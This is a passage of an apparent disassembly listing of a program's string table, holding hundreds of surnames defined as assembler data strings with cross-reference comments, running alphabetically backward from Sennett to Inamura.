aSennett db 'Sennett',0 ; DATA XREF: ___:0042E83Co aSen db 'Sen',0 ; DATA XREF: ___:0042E838o aSelvage db 'Selvage',0 ; DATA XREF: ___:0042E834o aSekler db 'Sekler',0 ; DATA XREF: ___:0042E830o align 4 aSegal db 'Segal',0 ; DATA XREF: ___:0042E82Co align 4 aSeeber db 'Seeber',0 ; DATA XREF: ___:0042E828o align 4 aSeaton db 'Seaton',0 ; DATA XREF: ___:0042E824o align 4 aScudder db 'Scudder',0 ; DATA XREF: ___:0042E820o aScovel db 'Scovel',0 ; DATA XREF: ___:0042E81Co align 4 aSchwickrath db 'Schwickrath',0 ; DATA XREF: ___:0042E818o aSchwan db 'Schwan',0 ; DATA XREF: ___:0042E814o align 10h aSchuyler db 'Schuyler',0 ; DATA XREF: ___:0042E810o align 4 aSchutte db 'Schutte',0 ; DATA XREF: ___:0042E80Co aSchuman db 'Schuman',0 ; DATA XREF: ___:0042E808o aSchossberger db 'Schossberger',0 ; DATA XREF: ___:0042E804o align 4 aSchmitt db 'Schmitt',0 ; DATA XREF: ___:0042E800o aSchilling db 'Schilling',0 ; DATA XREF: ___:0042E7FCo align 10h aSchifini db 'Schifini',0 ; DATA XREF: ___:0042E7F8o align 4 aSchiano db 'Schiano',0 ; DATA XREF: ___:0042E7F4o aScheiner db 'Scheiner',0 ; DATA XREF: ___:0042E7F0o align 10h aScharlemann db 'Scharlemann',0 ; DATA XREF: ___:0042E7ECo aScharf db 'Scharf',0 ; DATA XREF: ___:0042E7E8o align 4 aScepan db 'Scepan',0 ; DATA XREF: ___:0042E7E4o align 4 aScarponi db 'Scarponi',0 ; DATA XREF: ___:0042E7E0o align 4 aSayied db 'Sayied',0 ; DATA XREF: ___:0042E7DCo align 10h aSawtell db 'Sawtell',0 ; DATA XREF: ___:0042E7D8o aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: ___:0042E7D4o align 4 aSatta db 'Satta',0 ; DATA XREF: ___:0042E7D0o align 10h aSatin db 'Satin',0 ; DATA XREF: ___:0042E7CCo align 4 aSase db 'Sase',0 ; DATA XREF: ___:0042E7C8o align 10h aSartore db 'Sartore',0 ; DATA XREF: ___:0042E7C4o aSarin db 'Sarin',0 ; DATA XREF: ___:0042E7C0o align 10h aSapers db 'Sapers',0 ; DATA XREF: ___:0042E7BCo align 4 aSanna db 'Sanna',0 ; DATA XREF: ___:0042E7B8o align 10h aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: ___:0042E7B4o aSamson db 'Samson',0 ; DATA XREF: ___:0042E7B0o align 4 aSali db 'Sali',0 ; DATA XREF: ___:0042E7ACo align 10h aSahu db 'Sahu',0 ; DATA XREF: ___:0042E7A8o align 4 aSafire db 'Safire',0 ; DATA XREF: ___:0042E7A4o align 10h aSadler db 'Sadler',0 ; DATA XREF: ___:0042E7A0o align 4 aSabatello db 'Sabatello',0 ; DATA XREF: ___:0042E79Co align 4 aRyu db 'Ryu',0 ; DATA XREF: ___:0042E798o aRush db 'Rush',0 ; DATA XREF: ___:0042E794o align 10h aRuescher db 'Ruescher',0 ; DATA XREF: ___:0042E790o align 4 aRuderman db 'Ruderman',0 ; DATA XREF: ___:0042E78Co align 4 aRuan db 'Ruan',0 ; DATA XREF: ___:0042E788o align 10h aRu db 'Ru',0 ; DATA XREF: ___:0042E784o align 4 aRoyal db 'Royal',0 ; DATA XREF: ___:0042E780o align 4 aRow db 'Row',0 ; DATA XREF: ___:0042E77Co aRonen db 'Ronen',0 ; DATA XREF: ___:0042E778o align 4 aRogers db 'Rogers',0 ; DATA XREF: ___:0042E774o align 10h aRoesler db 'Roesler',0 ; DATA XREF: ___:0042E770o aRocha db 'Rocha',0 ; DATA XREF: ___:0042E76Co align 10h aRobinson db 'Robinson',0 ; DATA XREF: ___:0042E768o align 4 aRivera db 'Rivera',0 ; DATA XREF: ___:0042E764o align 4 aRish db 'Rish',0 ; DATA XREF: ___:0042E760o align 4 aRineer db 'Rineer',0 ; DATA XREF: ___:0042E75Co align 4 aRindos db 'Rindos',0 ; DATA XREF: ___:0042E758o align 4 aRielly db 'Rielly',0 ; DATA XREF: ___:0042E754o align 4 aRichmond db 'Richmond',0 ; DATA XREF: ___:0042E750o align 10h aRhea db 'Rhea',0 ; DATA XREF: ___:0042E74Co align 4 aResnik db 'Resnik',0 ; DATA XREF: ___:0042E748o align 10h aRepetto db 'Repetto',0 ; DATA XREF: ___:0042E744o aRenick db 'Renick',0 ; DATA XREF: ___:0042E740o align 10h aRemak db 'Remak',0 ; DATA XREF: ___:0042E73Co align 4 aReinold db 'Reinold',0 ; DATA XREF: ___:0042E738o aCunningham db 'Cunningham',0 ; DATA XREF: ___:0042E734o align 4 aReedquist db 'Reedquist',0 ; DATA XREF: ___:0042E730o align 4 aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: ___:0042E72Co align 4 aRayport db 'Rayport',0 ; DATA XREF: ___:0042E728o aRapple db 'Rapple',0 ; DATA XREF: ___:0042E724o align 4 aRankin db 'Rankin',0 ; DATA XREF: ___:0042E720o align 10h aRangan db 'Rangan',0 ; DATA XREF: ___:0042E71Co align 4 aRaney db 'Raney',0 ; DATA XREF: ___:0042E718o align 10h aRajagopalan db 'Rajagopalan',0 ; DATA XREF: ___:0042E714o aRadeke db 'Radeke',0 ; DATA XREF: ___:0042E710o align 4 aRabkin db 'Rabkin',0 ; DATA XREF: ___:0042E70Co align 4 aRabe db 'Rabe',0 ; DATA XREF: ___:0042E708o align 4 aQuetin db 'Quetin',0 ; DATA XREF: ___:0042E704o align 4 aQuaday db 'Quaday',0 ; DATA XREF: ___:0042E700o align 4 aPynchon db 'Pynchon',0 ; DATA XREF: ___:0042E6FCo aPugh db 'Pugh',0 ; DATA XREF: ___:0042E6F8o align 4 aPuccia db 'Puccia',0 ; DATA XREF: ___:0042E6F4o align 4 aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: ___:0042E6F0o align 4 aProietti db 'Proietti',0 ; DATA XREF: ___:0042E6ECo align 4 aPritz db 'Pritz',0 ; DATA XREF: ___:0042E6E8o align 10h aPritchard db 'Pritchard',0 ; DATA XREF: ___:0042E6E4o align 4 aPrevost db 'Prevost',0 ; DATA XREF: ___:0042E6E0o aPreucel db 'Preucel',0 ; DATA XREF: ___:0042E6DCo aPresper db 'Presper',0 ; DATA XREF: ___:0042E6D8o aPowers db 'Powers',0 ; DATA XREF: ___:0042E6D4o align 4 aPoolman db 'Poolman',0 ; DATA XREF: ___:0042E6D0o aPoma db 'Poma',0 ; DATA XREF: ___:0042E6CCo align 4 aPolitis db 'Politis',0 ; DATA XREF: ___:0042E6C8o aPolanyi db 'Polanyi',0 ; DATA XREF: ___:0042E6C4o aPolak db 'Polak',0 ; DATA XREF: ___:0042E6C0o align 4 aPoirier db 'Poirier',0 ; DATA XREF: ___:0042E6BCo aPointer db 'Pointer',0 ; DATA XREF: ___:0042E6B8o aPoincaire db 'Poincaire',0 ; DATA XREF: ___:0042E6B4o align 10h aPocobene db 'Pocobene',0 ; DATA XREF: ___:0042E6B0o align 4 aPo db 'Po',0 ; DATA XREF: ___:0042E6ACo align 10h aPlous db 'Plous',0 ; DATA XREF: ___:0042E6A8o align 4 aPlasket db 'Plasket',0 ; DATA XREF: ___:0042E6A4o aPlant db 'Plant',0 ; DATA XREF: ___:0042E6A0o align 4 aPlancon db 'Plancon',0 ; DATA XREF: ___:0042E69Co aPinot db 'Pinot',0 ; DATA XREF: ___:0042E698o align 4 aPilbeam db 'Pilbeam',0 ; DATA XREF: ___:0042E694o aPfister db 'Pfister',0 ; DATA XREF: ___:0042E690o aPettit db 'Pettit',0 ; DATA XREF: ___:0042E68Co align 10h aPettibone db 'Pettibone',0 ; DATA XREF: ___:0042E688o align 4 aPetruzello db 'Petruzello',0 ; DATA XREF: ___:0042E684o align 4 aPeters db 'Peters',0 ; DATA XREF: ___:0042E680o align 10h aPerrimon db 'Perrimon',0 ; DATA XREF: ___:0042E67Co align 4 aPerone db 'Perone',0 ; DATA XREF: ___:0042E678o align 4 aPerna db 'Perna',0 ; DATA XREF: ___:0042E674o align 4 aPerlman db 'Perlman',0 ; DATA XREF: ___:0042E670o aPerlak db 'Perlak',0 ; DATA XREF: ___:0042E66Co align 4 aPerko db 'Perko',0 ; DATA XREF: ___:0042E668o align 4 aPereira db 'Pereira',0 ; DATA XREF: ___:0042E664o aPenny db 'Penny',0 ; DATA XREF: ___:0042E660o align 4 aPeishel db 'Peishel',0 ; DATA XREF: ___:0042E65Co aPederson db 'Pederson',0 ; DATA XREF: ___:0042E658o align 4 aPearlberg db 'Pearlberg',0 ; DATA XREF: ___:0042E654o align 4 aPeabody db 'Peabody',0 ; DATA XREF: ___:0042E650o aPaynter db 'Paynter',0 ; DATA XREF: ___:0042E64Co aPawloski db 'Pawloski',0 ; DATA XREF: ___:0042E648o align 10h aPavlon db 'Pavlon',0 ; DATA XREF: ___:0042E644o align 4 aPavetti db 'Pavetti',0 ; DATA XREF: ___:0042E640o aPattullo db 'Pattullo',0 ; DATA XREF: ___:0042E63Co align 4 aPatrick db 'Patrick',0 ; DATA XREF: ___:0042E638o aPatefield db 'Patefield',0 ; DATA XREF: ___:0042E634o align 10h aPascucci db 'Pascucci',0 ; DATA XREF: ___:0042E630o align 4 aPartridge db 'Partridge',0 ; DATA XREF: ___:0042E62Co align 4 aParris db 'Parris',0 ; DATA XREF: ___:0042E628o align 10h aParmeggiani db 'Parmeggiani',0 ; DATA XREF: ___:0042E624o aPaoletti db 'Paoletti',0 ; DATA XREF: ___:0042E620o align 4 aPantilla db 'Pantilla',0 ; DATA XREF: ___:0042E61Co align 4 aPanizzon db 'Panizzon',0 ; DATA XREF: ___:0042E618o align 10h aPanadero db 'Panadero',0 ; DATA XREF: ___:0042E614o align 4 aPalmitesta db 'Palmitesta',0 ; DATA XREF: ___:0042E610o align 4 aPallara db 'Pallara',0 ; DATA XREF: ___:0042E60Co aPalepu db 'Palepu',0 ; DATA XREF: ___:0042E608o align 4 aPalayoor db 'Palayoor',0 ; DATA XREF: ___:0042E604o align 4 aPaine db 'Paine',0 ; DATA XREF: ___:0042E600o align 4 aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: ___:0042E5FCo align 4 aOvid db 'Ovid',0 ; DATA XREF: ___:0042E5F8o align 4 aOuchida db 'Ouchida',0 ; DATA XREF: ___:0042E5F4o aOtten db 'Otten',0 ; DATA XREF: ___:0042E5F0o align 4 aOttaviani db 'Ottaviani',0 ; DATA XREF: ___:0042E5ECo align 10h aOstrowski db 'Ostrowski',0 ; DATA XREF: ___:0042E5E8o align 4 aOspina db 'Ospina',0 ; DATA XREF: ___:0042E5E4o align 4 aOrsi db 'Orsi',0 ; DATA XREF: ___:0042E5E0o align 4 aOrfield db 'Orfield',0 ; DATA XREF: ___:0042E5DCo aOray db 'Oray',0 ; DATA XREF: ___:0042E5D8o align 4 aOpel db 'Opel',0 ; DATA XREF: ___:0042E5D4o align 4 aOMeara db 'O',27h,'meara',0 ; DATA XREF: ___:0042E5D0o aOman db 'Oman',0 ; DATA XREF: ___:0042E5CCo align 4 aOMalley db 'O',27h,'malley',0 ; DATA XREF: ___:0042E5C8o align 10h aOlszewski db 'Olszewski',0 ; DATA XREF: ___:0042E5C4o align 4 aOlson db 'Olson',0 ; DATA XREF: ___:0042E5C0o align 4 aOlsen db 'Olsen',0 ; DATA XREF: ___:0042E5BCo align 4 aOldford db 'Oldford',0 ; DATA XREF: ___:0042E5B8o aOHagan db 'O',27h,'hagan',0 ; DATA XREF: ___:0042E5B4o aOh db 'Oh',0 ; DATA XREF: ___:0042E5B0o align 10h aOgata db 'Ogata',0 ; DATA XREF: ___:0042E5ACo align 4 aOcougne db 'Ocougne',0 ; DATA XREF: ___:0042E5A8o aNuzum db 'Nuzum',0 ; DATA XREF: ___:0042E5A4o align 4 aNotman db 'Notman',0 ; DATA XREF: ___:0042E5A0o align 10h aNitabach db 'Nitabach',0 ; DATA XREF: ___:0042E59Co align 4 aNisenson db 'Nisenson',0 ; DATA XREF: ___:0042E598o align 4 aNickoloff db 'Nickoloff',0 ; DATA XREF: ___:0042E594o align 4 aNickerson db 'Nickerson',0 ; DATA XREF: ___:0042E590o align 10h aNi_0 db 'Ni',0 ; DATA XREF: ___:0042E58Co align 4 aNg db 'Ng',0 ; DATA XREF: ___:0042E588o align 4 aNewlin db 'Newlin',0 ; DATA XREF: ___:0042E584o align 10h aNewfeld db 'Newfeld',0 ; DATA XREF: ___:0042E580o aNeuman db 'Neuman',0 ; DATA XREF: ___:0042E57Co align 10h aNesci db 'Nesci',0 ; DATA XREF: ___:0042E578o align 4 aNenna db 'Nenna',0 ; DATA XREF: ___:0042E574o align 10h aNelson db 'Nelson',0 ; DATA XREF: ___:0042E570o align 4 aNayduch db 'Nayduch',0 ; DATA XREF: ___:0042E56Co aNaviaux db 'Naviaux',0 ; DATA XREF: ___:0042E568o aNardone db 'Nardone',0 ; DATA XREF: ___:0042E564o aNardi db 'Nardi',0 ; DATA XREF: ___:0042E560o align 4 aNapolitano db 'Napolitano',0 ; DATA XREF: ___:0042E55Co align 4 aNaddeo db 'Naddeo',0 ; DATA XREF: ___:0042E558o align 4 aMussachio db 'Mussachio',0 ; DATA XREF: ___:0042E554o align 4 aMumford db 'Mumford',0 ; DATA XREF: ___:0042E550o aMulroy db 'Mulroy',0 ; DATA XREF: ___:0042E54Co align 4 aMulkern db 'Mulkern',0 ; DATA XREF: ___:0042E548o aMugnai db 'Mugnai',0 ; DATA XREF: ___:0042E544o align 4 aMuello db 'Muello',0 ; DATA XREF: ___:0042E540o align 10h aMudarri db 'Mudarri',0 ; DATA XREF: ___:0042E53Co aMotooka db 'Motooka',0 ; DATA XREF: ___:0042E538o aMostafavi db 'Mostafavi',0 ; DATA XREF: ___:0042E534o align 4 aMosler db 'Mosler',0 ; DATA XREF: ___:0042E530o align 4 aMosher db 'Mosher',0 ; DATA XREF: ___:0042E52Co align 4 aMortimer db 'Mortimer',0 ; DATA XREF: ___:0042E528o align 4 aMorrow db 'Morrow',0 ; DATA XREF: ___:0042E524o align 10h aMorrison db 'Morrison',0 ; DATA XREF: ___:0042E520o align 4 aMoreton db 'Moreton',0 ; DATA XREF: ___:0042E51Co aMorani db 'Morani',0 ; DATA XREF: ___:0042E518o align 4 aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: ___:0042E514o align 4 aMontilio db 'Montilio',0 ; DATA XREF: ___:0042E510o align 4 aMonque db 'Monque',0 ; DATA XREF: ___:0042E50Co align 4 aMoiamedi db 'Moiamedi',0 ; DATA XREF: ___:0042E508o align 4 aMohr db 'Mohr',0 ; DATA XREF: ___:0042E504o align 10h aMoeller db 'Moeller',0 ; DATA XREF: ___:0042E500o aModestino db 'Modestino',0 ; DATA XREF: ___:0042E4FCo align 4 aMocroft db 'Mocroft',0 ; DATA XREF: ___:0042E4F8o aMittal db 'Mittal',0 ; DATA XREF: ___:0042E4F4o align 4 aMitropoulos db 'Mitropoulos',0 ; DATA XREF: ___:0042E4F0o aGonzalez db 'Gonzalez',0 ; DATA XREF: ___:0042E4ECo align 4 aMinichiello db 'Minichiello',0 ; DATA XREF: ___:0042E4E8o aMini db 'Mini',0 ; DATA XREF: ___:0042E4E4o align 10h aMinh db 'Minh',0 ; DATA XREF: ___:0042E4E0o align 4 aMills db 'Mills',0 ; DATA XREF: ___:0042E4DCo align 10h aMieher db 'Mieher',0 ; DATA XREF: ___:0042E4D8o align 4 aMiddle db 'Middle',0 ; DATA XREF: ___:0042E4D4o align 10h aMichelman db 'Michelman',0 ; DATA XREF: ___:0042E4D0o align 4 aMeurer db 'Meurer',0 ; DATA XREF: ___:0042E4CCo align 4 aMetropolis db 'Metropolis',0 ; DATA XREF: ___:0042E4C8o align 10h aMetelka db 'Metelka',0 ; DATA XREF: ___:0042E4C4o aMerz db 'Merz',0 ; DATA XREF: ___:0042E4C0o align 10h aMerseth db 'Merseth',0 ; DATA XREF: ___:0042E4BCo aMerminod db 'Merminod',0 ; DATA XREF: ___:0042E4B8o align 4 aMerlani db 'Merlani',0 ; DATA XREF: ___:0042E4B4o aMerikoski db 'Merikoski',0 ; DATA XREF: ___:0042E4B0o align 4 aMenzies db 'Menzies',0 ; DATA XREF: ___:0042E4ACo aMemisoglu db 'Memisoglu',0 ; DATA XREF: ___:0042E4A8o align 4 aMeccariello db 'Meccariello',0 ; DATA XREF: ___:0042E4A4o aMcnulty db 'Mcnulty',0 ; DATA XREF: ___:0042E4A0o aMcnealy db 'Mcnealy',0 ; DATA XREF: ___:0042E49Co aMclaren db 'Mclaren',0 ; DATA XREF: ___:0042E498o aMclane db 'Mclane',0 ; DATA XREF: ___:0042E494o align 4 aMckenna db 'Mckenna',0 ; DATA XREF: ___:0042E490o aMcintosh db 'Mcintosh',0 ; DATA XREF: ___:0042E48Co align 4 aMcilroy db 'McIlroy',0 ; DATA XREF: ___:0042E488o aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: ___:0042E484o align 10h aMcghee db 'Mcghee',0 ; DATA XREF: ___:0042E480o align 4 aMcfadden db 'McFadden',0 ; DATA XREF: ___:0042E47Co align 4 aMcelroy db 'Mcelroy',0 ; DATA XREF: ___:0042E478o aMcdowell db 'Mcdowell',0 ; DATA XREF: ___:0042E474o align 4 aMcclearn db 'Mcclearn',0 ; DATA XREF: ___:0042E470o align 4 aMccall db 'Mccall',0 ; DATA XREF: ___:0042E46Co align 4 aMccaffery db 'Mccaffery',0 ; DATA XREF: ___:0042E468o align 4 aMcbride db 'Mcbride',0 ; DATA XREF: ___:0042E464o aMazziotta db 'Mazziotta',0 ; DATA XREF: ___:0042E460o align 4 aMazzali db 'Mazzali',0 aMay db 'May',0 aMauzy db 'Mauzy',0 align 10h aMattson db 'Mattson',0 aMatsukata db 'Matsukata',0 align 4 aMatarazzo db 'Matarazzo',0 align 10h aMatalka db 'Matalka',0 aMass db 'Mass',0 align 10h aMarubini db 'Marubini',0 align 4 aMarton db 'Marton',0 align 4 aMartochio db 'Martochio',0 align 10h aMartinez db 'Martinez',0 align 4 aMarques db 'Marques',0 aMargetts db 'Margetts',0 align 10h aMargalit db 'Margalit',0 align 4 aMarcus db 'Marcus',0 align 4 aMarchbanks db 'Marchbanks',0 align 10h aMarch db 'March',0 align 4 aMantovan db 'Mantovan',0 align 4 aManganiello db 'Manganiello',0 aMandel db 'Mandel',0 align 4 aManalis db 'Manalis',0 aMalova db 'Malova',0 align 4 aMaller db 'Maller',0 align 10h aMalatesta db 'Malatesta',0 align 4 aMaisano db 'Maisano',0 aMaineHershey db 'Maine-Hershey',0 align 4 aMaier db 'Maier',0 align 4 aMahony db 'Mahony',0 align 4 aMaggio db 'Maggio',0 align 4 aMadigan db 'Madigan',0 aMacy db 'Macy',0 align 4 aMacmillan db 'MacMillan',0 align 4 aMackenney db 'Mackenney',0 align 4 aMacintyre db 'Macintyre',0 align 10h aMaceachern db 'Maceachern',0 align 4 aMacdonald db 'Macdonald',0 align 4 aMaccormac db 'Maccormac',0 align 4 aMa db 'Ma',0 ; DATA XREF: ___:0042E3C4o align 4 aLuzader db 'Luzader',0 ; DATA XREF: ___:0042E3C0o aLutcavage db 'Lutcavage',0 ; DATA XREF: ___:0042E3BCo align 4 aLussier db 'Lussier',0 ; DATA XREF: ___:0042E3B8o aLuoma db 'Luoma',0 ; DATA XREF: ___:0042E3B4o align 4 aLunetta db 'Lunetta',0 ; DATA XREF: ___:0042E3B0o aLuecke db 'Luecke',0 ; DATA XREF: ___:0042E3ACo align 4 aLuczkow db 'Luczkow',0 ; DATA XREF: ___:0042E3A8o aLuciano db 'Luciano',0 ; DATA XREF: ___:0042E3A4o aLucas db 'Lucas',0 ; DATA XREF: ___:0042E3A0o align 4 aLubin db 'Lubin',0 ; DATA XREF: ___:0042E39Co align 4 aLoza db 'Loza',0 ; DATA XREF: ___:0042E398o align 4 aLowenstein db 'Lowenstein',0 ; DATA XREF: ___:0042E394o align 10h aLoveman db 'Loveman',0 ; DATA XREF: ___:0042E390o aLoss db 'Loss',0 ; DATA XREF: ___:0042E38Co align 10h aLongworth db 'Longworth',0 ; DATA XREF: ___:0042E388o align 4 aLocatelli db 'Locatelli',0 ; DATA XREF: ___:0042E384o align 4 aLizardo db 'Lizardo',0 ; DATA XREF: ___:0042E380o aLivolsi db 'Livolsi',0 ; DATA XREF: ___:0042E37Co aLivi db 'Livi',0 ; DATA XREF: ___:0042E378o align 10h aLivernash db 'Livernash',0 ; DATA XREF: ___:0042E374o align 4 aLitvak db 'Litvak',0 ; DATA XREF: ___:0042E370o align 4 aLittle db 'Little',0 ; DATA XREF: ___:0042E36Co align 4 aLipponen db 'Lipponen',0 ; DATA XREF: ___:0042E368o align 4 aLippmann db 'Lippmann',0 ; DATA XREF: ___:0042E364o align 4 aLinzee db 'Linzee',0 ; DATA XREF: ___:0042E360o align 4 aLinehan db 'Linehan',0 ; DATA XREF: ___:0042E35Co aLine db 'Line',0 ; DATA XREF: ___:0042E358o align 4 aLinder db 'Linder',0 ; DATA XREF: ___:0042E354o align 4 aLinda db 'Linda',0 ; DATA XREF: ___:0042E350o align 4 aLinares db 'Linares',0 ; DATA XREF: ___:0042E34Co aLim db 'Lim',0 ; DATA XREF: ___:0042E348o aLightfoot db 'Lightfoot',0 ; DATA XREF: ___:0042E344o align 4 aLight db 'Light',0 ; DATA XREF: ___:0042E340o align 4 aLiem db 'Liem',0 ; DATA XREF: ___:0042E33Co align 4 aLidano db 'Lidano',0 ; DATA XREF: ___:0042E338o align 4 aLiakos db 'Liakos',0 ; DATA XREF: ___:0042E334o align 4 aLessi db 'Lessi',0 ; DATA XREF: ___:0042E330o align 4 aLesser db 'Lesser',0 ; DATA XREF: ___:0042E32Co align 4 aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: ___:0042E328o align 10h aLenard db 'Lenard',0 ; DATA XREF: ___:0042E324o align 4 aLeite db 'Leite',0 ; DATA XREF: ___:0042E320o align 10h aLeclercq db 'Leclercq',0 ; DATA XREF: ___:0042E31Co align 4 aLecce db 'Lecce',0 ; DATA XREF: ___:0042E318o align 4 aLecar db 'Lecar',0 ; DATA XREF: ___:0042E314o align 4 aLawless db 'Lawless',0 ; DATA XREF: ___:0042E310o aLashley db 'Lashley',0 ; DATA XREF: ___:0042E30Co aLaserna db 'Laserna',0 ; DATA XREF: ___:0042E308o aLanzit db 'Lanzit',0 ; DATA XREF: ___:0042E304o align 4 aLantieri db 'Lantieri',0 ; DATA XREF: ___:0042E300o align 4 aLankes db 'Lankes',0 ; DATA XREF: ___:0042E2FCo align 10h aLandes db 'Landes',0 ; DATA XREF: ___:0042E2F8o align 4 aLallemant db 'Lallemant',0 ; DATA XREF: ___:0042E2F4o ; ___:0043294Co align 4 aLaing db 'Laing',0 ; DATA XREF: ___:0042E2F0o align 4 aLafler db 'Lafler',0 ; DATA XREF: ___:0042E2ECo ; ___:off_4327E8o align 4 aLabunka db 'Labunka',0 ; DATA XREF: ___:0042E2E8o aLa db 'La',0 ; DATA XREF: ___:0042E2E4o align 10h aKuwabara db 'Kuwabara',0 ; DATA XREF: ___:0042E2E0o align 4 aKusman db 'Kusman',0 ; DATA XREF: ___:0042E2DCo align 4 aKumar db 'Kumar',0 ; DATA XREF: ___:0042E2D8o align 4 aKuenzli db 'Kuenzli',0 ; DATA XREF: ___:0042E2D4o aKrysiak db 'Krysiak',0 ; DATA XREF: ___:0042E2D0o aKroemer db 'Kroemer',0 ; DATA XREF: ___:0042E2CCo aKraus db 'Kraus',0 ; DATA XREF: ___:0042E2C8o align 4 aKrasney db 'Krasney',0 ; DATA XREF: ___:0042E2C4o aKrailo db 'Krailo',0 ; DATA XREF: ___:0042E2C0o align 4 aKraemer db 'Kraemer',0 ; DATA XREF: ___:0042E2BCo aKovaks db 'Kovaks',0 ; DATA XREF: ___:0042E2B8o align 4 aKotter db 'Kotter',0 ; DATA XREF: ___:0042E2B4o align 4 aKorzybski db 'Korzybski',0 ; DATA XREF: ___:0042E2B0o align 10h aKool db 'Kool',0 ; DATA XREF: ___:0042E2ACo align 4 aKonrad db 'Konrad',0 ; DATA XREF: ___:0042E2A8o align 10h aKoniaris db 'Koniaris',0 ; DATA XREF: ___:0042E2A4o align 4 aKommer db 'Kommer',0 ; DATA XREF: ___:0042E2A0o align 4 aKoivumaki db 'Koivumaki',0 ; DATA XREF: ___:0042E29Co align 10h aKohn db 'Kohn',0 ; DATA XREF: ___:0042E298o align 4 aKoch db 'Koch',0 ; DATA XREF: ___:0042E294o align 10h aKobrick db 'Kobrick',0 ; DATA XREF: ___:0042E290o aKnuff db 'Knuff',0 ; DATA XREF: ___:0042E28Co align 10h aKlint db 'Klint',0 ; DATA XREF: ___:0042E288o align 4 aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: ___:0042E284o aKling db 'Kling',0 ; DATA XREF: ___:0042E280o align 4 aKlemperer db 'Klemperer',0 ; DATA XREF: ___:0042E27Co align 4 aKleinfelder db 'Kleinfelder',0 ; DATA XREF: ___:0042E278o aKleiman db 'Kleiman',0 ; DATA XREF: ___:0042E274o aKleckner db 'Kleckner',0 ; DATA XREF: ___:0042E270o align 4 aKittridge db 'Kittridge',0 ; DATA XREF: ___:0042E26Co align 4 aKirscht db 'Kirscht',0 ; DATA XREF: ___:0042E268o aKippenberger db 'Kippenberger',0 ; DATA XREF: ___:0042E264o align 4 aKinsley db 'Kinsley',0 ; DATA XREF: ___:0042E260o aKindall db 'Kindall',0 ; DATA XREF: ___:0042E25Co aKimura db 'Kimura',0 ; DATA XREF: ___:0042E258o align 4 aKimmett db 'Kimmett',0 ; DATA XREF: ___:0042E254o aKimmel db 'Kimmel',0 ; DATA XREF: ___:0042E250o align 4 aKhong db 'Khong',0 ; DATA XREF: ___:0042E24Co align 4 aKeul db 'Keul',0 ; DATA XREF: ___:0042E248o align 4 aKerry db 'Kerry',0 ; DATA XREF: ___:0042E244o align 4 aKendall db 'Kendall',0 ; DATA XREF: ___:0042E240o aKemsley db 'Kemsley',0 ; DATA XREF: ___:0042E23Co aKempton db 'Kempton',0 ; DATA XREF: ___:0042E238o aKelsey db 'Kelsey',0 ; DATA XREF: ___:0042E234o align 4 aKelker db 'Kelker',0 ; DATA XREF: ___:0042E230o align 4 aKeith db 'Keith',0 ; DATA XREF: ___:0042E22Co align 4 aKeepper db 'Keepper',0 ; DATA XREF: ___:0042E228o aKeenan db 'Keenan',0 ; DATA XREF: ___:0042E224o align 4 aKee db 'Kee',0 ; DATA XREF: ___:0042E220o aKawachi db 'Kawachi',0 ; DATA XREF: ___:0042E21Co aKasten db 'Kasten',0 ; DATA XREF: ___:0042E218o align 10h aKassower db 'Kassower',0 ; DATA XREF: ___:0042E214o align 4 aKarpouzes db 'Karpouzes',0 ; DATA XREF: ___:0042E210o align 4 aKangis db 'Kangis',0 ; DATA XREF: ___:0042E20Co align 10h aKamel db 'Kamel',0 ; DATA XREF: ___:0042E208o align 4 aKalman db 'Kalman',0 ; DATA XREF: ___:0042E204o align 10h aKalinowski db 'Kalinowski',0 ; DATA XREF: ___:0042E200o align 4 aKalil db 'Kalil',0 ; DATA XREF: ___:0042E1FCo align 4 aKaligian db 'Kaligian',0 ; DATA XREF: ___:0042E1F8o align 10h aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: ___:0042E1F4o aKafadar db 'Kafadar',0 ; DATA XREF: ___:0042E1F0o aKaboolian db 'Kaboolian',0 ; DATA XREF: ___:0042E1ECo align 10h aKabbash db 'Kabbash',0 ; DATA XREF: ___:0042E1E8o aJulious db 'Julious',0 ; DATA XREF: ___:0042E1E4o aJuliano db 'Juliano',0 ; DATA XREF: ___:0042E1E0o aJucks db 'Jucks',0 ; DATA XREF: ___:0042E1DCo align 10h aJorgensen db 'Jorgensen',0 ; DATA XREF: ___:0042E1D8o align 4 aJolly db 'Jolly',0 ; DATA XREF: ___:0042E1D4o align 4 aJohns db 'Johns',0 ; DATA XREF: ___:0042E1D0o align 4 aJohannsen db 'Johannsen',0 ; DATA XREF: ___:0042E1CCo align 4 aJohannesson db 'Johannesson',0 ; DATA XREF: ___:0042E1C8o aJewett db 'Jewett',0 ; DATA XREF: ___:0042E1C4o align 4 aJespersen db 'Jespersen',0 ; DATA XREF: ___:0042E1C0o align 4 aJenkins db 'Jenkins',0 ; DATA XREF: ___:0042E1BCo aJellis db 'Jellis',0 ; DATA XREF: ___:0042E1B8o align 4 aJeffers db 'Jeffers',0 ; DATA XREF: ___:0042E1B4o aJay db 'Jay',0 ; DATA XREF: ___:0042E1B0o aJarrell db 'Jarrell',0 ; DATA XREF: ___:0042E1ACo aJarnagin db 'Jarnagin',0 ; DATA XREF: ___:0042E1A8o align 4 aJanjigian db 'Janjigian',0 ; DATA XREF: ___:0042E1A4o align 4 aJamil db 'Jamil',0 ; DATA XREF: ___:0042E1A0o align 4 aJain db 'Jain',0 ; DATA XREF: ___:0042E19Co align 4 aJagoe db 'Jagoe',0 ; DATA XREF: ___:0042E198o align 4 aJagger db 'Jagger',0 ; DATA XREF: ___:0042E194o align 4 aJagers db 'Jagers',0 ; DATA XREF: ___:0042E190o align 4 aJackson db 'Jackson',0 ; DATA XREF: ___:0042E18Co aJacenko db 'Jacenko',0 ; DATA XREF: ___:0042E188o aIyer db 'Iyer',0 ; DATA XREF: ___:0042E184o align 4 aIsserman db 'Isserman',0 ; DATA XREF: ___:0042E180o align 10h aIsbill db 'Isbill',0 ; DATA XREF: ___:0042E17Co align 4 aIsaievych db 'Isaievych',0 ; DATA XREF: ___:0042E178o align 4 aIsaac db 'Isaac',0 ; DATA XREF: ___:0042E174o align 4 aInniss db 'Inniss',0 ; DATA XREF: ___:0042E170o align 4 aInamura db 